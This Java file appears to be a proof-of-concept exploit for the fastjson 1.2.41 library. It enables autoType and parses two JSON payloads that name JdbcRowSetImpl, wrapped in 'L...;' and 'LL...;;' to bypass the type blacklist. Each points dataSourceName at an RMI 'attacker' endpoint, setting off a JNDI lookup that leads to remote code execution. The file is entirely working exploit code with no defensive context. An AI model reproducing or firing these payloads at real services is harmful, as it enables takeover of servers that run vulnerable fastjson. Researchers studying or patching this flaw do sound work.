package com.hyf.fastjson;

import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;

/**
 * v1.2.41
 *
 * @author baB_hyf
 * @date 2021/03/28
 */
public class T3 {

    public static void main(String[] args) throws InterruptedException {
        System.setProperty("fastjson.parser.autoTypeSupport", "true"); // open
        // ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // open

        String str1 = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"rmi://localhost:1099/attacker\",\"autoCommit\":true}";
        parse(str1);

        Thread.sleep(2000);

        String str2 = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"rmi://localhost:1099/attacker\",\"autoCommit\":true}";
        parse(str2);

    }

    public static void parse(String str) {
        try {
            JSONObject.parse(str);
        } catch (Exception e) {
            // System.out.println("Exception: " + e.getCause().getCause().getMessage());
        }
    }
}
